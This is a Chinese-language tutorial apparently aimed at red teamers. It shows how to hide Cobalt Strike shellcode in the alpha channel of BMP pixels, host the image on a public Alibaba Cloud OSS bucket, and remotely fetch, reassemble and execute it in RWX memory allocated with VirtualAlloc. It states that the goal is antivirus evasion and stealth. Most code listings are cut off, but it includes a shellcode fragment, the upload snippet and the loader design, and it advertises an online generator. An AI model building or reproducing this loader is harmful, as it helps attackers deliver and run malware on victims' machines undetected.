利用图片隐写术远程动态加载shellcode
0x01 前言
将Shellcode隐写到正常BMP图片中,把字符串拆成字节,写入每个像素的alpha通道中,然后上传到可信任的网站下偏移拼接shellcode进行远程动态加载,能有效地增加了免杀性和隐匿性。
0x02 相关概念
BMP文件的数据按照从文件头开始的先后顺序分为四个部分:
- **bmp文件头(bmp file header)**:提供文件的格式、大小等信息
- **位图信息头(bitmap information)**:提供图像数据的尺寸、位平面数、压缩方式、颜色索引等信息
- **调色板(color palette)**:可选,如使用索引来表示图像,调色板就是索引与其对应的颜色的映射表
- 位图数据(bitmap data):就是图像数据
下面结合Windows结构体的定义,通过一个表来分析这四个部分。
这里已经有先人分析了,引用参考
打开010 Editor 然后把文件拖入分析
一、bmp文件头
其中最关键的两个结构体BITMAPFILEHEADER和BITMAPINFOHEADER,这里面保存了这个Bmp文件的很多信息。
1 | typedef struct tagBITMAPFILEHEADER |
1.最开头的两个十六进制为42H,4DH转为ASCII后分别表示BM,所有的BMP文件都以这两个字节开头。
2.红色箭头是图片的大小(这里对应的十六进制为26 3D 17 00,但这设计大小端转化,所以他一个转为00 17 3D 26,换成十进制就为1522982)。
3.黄色的那两个箭头一般填充为0。
4.橘色监听的bfOffBits是从BMP文件的第一个字节开始,到第54个字节就是像素的开始。
二、位图信息头(bitmap-informationheader)
同样,Windows为位图信息头定义了如下结构体:
1 | typedef struct tagBITMAPINFOHEADER |
5.biSze是指这个struct BITMAPINDOHEADER bmih占40个字节大小。
6.biWidth,和biHeight指图片的宽和高
6.黑色箭头bitBitCount代表:BGRA 蓝、绿、红、alpha,来存储一个像素,蓝占多少,绿占多少,红占多少,alpha是透明度,这个字节的数值表示的是该像素点的透明度:数值为0时,该像素点完全透明,利用这种特性来藏数据了,而不影响原图片的正常显示。
7.这两个结构体结束后:剩下的部分就是像素的BGRA了。
0x03 程序实现
现在这个程序的思路就是:
1.用C/C++代码读取图片文件里面的这两个结构体。
2.读取图片到内存中。获取bfOffBIts,再获取alpha通道(+4)。
3.把数据拆分,插入到alpha通道,保存文件上传到阿里云对象存储OSS或可信任网站上。
4.远程读取被修改图片的alpha通道,拼接组合shellcode申请内存加载。
一、图片生成
为了方便隐藏写入,将CS生成的shellcode转换成hex编码
1 | code = "\xfc\xe8\x89\x00\x00\x00\x60\x56\x78........." |
核心代码参考 https://github.com/loyalty-fox/idshwk7
1 | //dwBmpSize.cpp |
运行结果:
二、文件上传
进入阿里云控制台点击对象存储OSS,创建 Bucket,将读写权限改为公共读。
然后申请AccessKey创建成功将获取到AccessKeyID和AccessKeySecret。
https://usercenter.console.aliyun.com/#/manage/ak
使用aliyunSDK中的put_object_from_file方法上传单个文件
1 | import oss2 |
三、远程加载
这里用WinHTTP库将上传在阿里云oss域名上的bmp图片内容远程读取到字符串中并获取alpha通道中隐藏的字节拼接shellcode,然后使用VirtualAlloc为shellcode分配内存。重要的是要注意,此内存页当前具有读取,写入和执行权限。之后,使用memcpy将shellcode移到新分配的内存页面中。最后,执行shellcode。
1 | void download(const wchar_t *Url, const wchar_t *FileName, DownLoadCallback Func) |
自动化
思路和主要代码都给出来了,动动手就写出来了,这里我把以上功能做成Web在线生成的,采用模板化进行编译方便更新维护,有什么问题欢迎反馈交流。
0x04 参考链接
https://www.cnblogs.com/Matrix_Yao/archive/2009/12/02/1615295.html